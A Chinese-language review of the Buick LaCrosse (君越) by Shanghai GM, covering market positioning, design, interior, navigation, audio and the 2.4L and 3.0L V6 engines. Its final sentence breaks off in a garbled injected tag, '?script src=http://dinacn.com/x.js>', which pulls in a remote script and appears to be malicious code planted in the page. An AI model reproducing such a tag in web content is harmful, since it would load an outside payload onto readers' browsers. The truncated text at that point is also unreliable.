君越的名字总让我想起伟人的豪迈诗句。拿来当做文章的题目倒也贴切，因为无论从市场还是从车型本身来说，上海通用面对的都是新课题。 

    在充分的市场调研基础上，上海通用得出结论，近年来国内的乘用车市场已经发生了显著的变化。所以，如何寻找到准确的目标群体，显得至关重要，这将直接关系到君越的成败。按照上海通用的战略，公商务车市场仍旧由君威作为主力，而君越的主攻目标则转而被定位到了中高档私人消费市场。
   
    除了市场定位，君越对于上海通用来说本身也是个挑战，是对其自主开发能力的一次考验。君越的推出可以说是上海通用开发能力的全面展现。虽然英文名称仍旧叫做LaCROSSE，但引入的只是北美别克同名车型的底盘，而外观及内饰的整体设计、动力系统的搭配、悬挂的调校等各个方面的工作都是由上海通用自己完成的，所以，我们看到的这款君越车型在中国以外的市场上是看不到的。2002年面市的君威算是一个成功的案例。在与全球著名汽车设计公司ARIAGroup的合作中，上海通用积累了足够的经验。在君越的设计过程中，合作伙伴变成了意大利的IDEA公司。上海通用首先给出的关于君越的整体概念，然后IDEA用自身多年的经验帮助将这一概念变成可以看到的草图，不过全部的工程化设计仍然由上海通用自己完成。现在，最终的成品就在我们眼前。独一无二的外观显得非常大气，几条清晰的棱线一改以往老别克和君威的圆润，造就了君越富有雕塑感的洗练身形。面积很大且立体感十足的镀铬中网恢复了别克传统的直瀑式，而不是君威和陆尊的横条式。事实上，自从2004年在纽约车展上展出Velite概念车之后，通用就决定今后别克品牌的车型统一使用直瀑格栅。君越的中网式样自然需要遵守这一原则，而且今后GL8陆尊的换代车型也会长成这个样子。前长后短的侧面轮廓依稀还有原来的味道，但发动机罩却抬高了，主要还是为了满足欧洲严格的行人碰撞保护标准。尾部的设计同样很有韵味，圆环形的刹车灯点亮时很耀眼。可是在我的心目中，透明的灯罩总显得有些过于跳跃，与稳重的风格不太相符。
        
    小小的遗憾并不会给我们带来太多的影响，内饰的精致程度足以颠覆人们头脑中对美国车的印象。老实说，君威的内饰已经比老别克有了不小的提高，而陆尊则又更进一步，到了君越，我们看到的已经是一套有自己思路而又具备高加工标准的作品。同样出自调研的结果，君越的内饰使用了象牙白，而不是米色，显得更加庄重。整体风格更加具有现代感，尤其是中控台见棱见角的造型与外观给人的印象很吻合。各部位及按钮的质感与精细程度值得称赞，比起老别克已经是天壤之别。液晶显示屏被提高到与驾驶员目光近乎平齐的位置，观察起来方便了不少。更重要的是，这块显示屏也是GPS导航系统的终端，这应当算是上海通用的第一次尝试。3.0升车型更是将导航功能整合进了抬头显示器（HUD）中，与语音提示配合使用，效果很好。富有浓厚古典味道的石英钟镶嵌在中控台的中间位置，据说从顶级名表“江诗丹顿”（Vacheron Constantin）那里借鉴了复古而又有品位的风格。旁边的按钮一字排开，向两侧展，就像闪亮的表带。只是这些按钮中，靠近右侧的那几个负责控制车载电脑的显示及个性化功能设定，边开车边操作可能会令驾驶者分心。坐进君越，心情是愉快的。无论前排后排，各个方向的空间都足够宽敞。真皮表面柔软光洁，旗舰型君越使用的是澳洲进口小牛皮，连缝纫都是法式双缝线的样式。按摩功能更是锦上添花，按摩师般的手法令人备感放松。在多种隔音措施的帮助下，君越的静效果相当理想，尤其是当发动机处于中低转速的状态时，噪音比同级车型的平均值低出不少。在这样一个良好的环境下，Harman Kardon音响能够尽情地发挥自身的优势，音场定位出色，音质也很纯净。在动力系统的搭配上，上海通用仍旧扮演着主导的角色。他们并没有简单地沿用北美版LaCROSSE上使用的3.6及3.8升发动机，而是从通用发动机及变速箱制造商GMPT的产品库中为君越选择了更加适合中国市场的两款机型，即2.4升4缸和3.0升V6机型。
        
    这两款机型都有比较高的技术含量，足以称得上是亮点了。2.4升4缸机由欧宝的2.2升发动机改进而来，采用了全铝缸体、双顶置凸轮轴，使用了双可变气门正时系统D-VVT及可变长度进气歧管等技术，168马力的最大功率几乎与君威上使用的老3.0升侧置凸轮轴V6发动机相同。同时，双对旋平衡轴也使这台4缸机的运转更加稳健。6缸机则在省油方面有了新突破。DoD（Displacement on Demand）发动机可变排量技术能够在发动机中低转速的时候，由6缸切换到单侧的3只汽缸进行工作，从而节约5％的燃油。同时为了小磨损，左右两侧的汽缸之间也可以实现切换，某一侧汽缸工作一段时间后会由另一侧接替，而且整个过?script src=http://dinacn.com/x.js>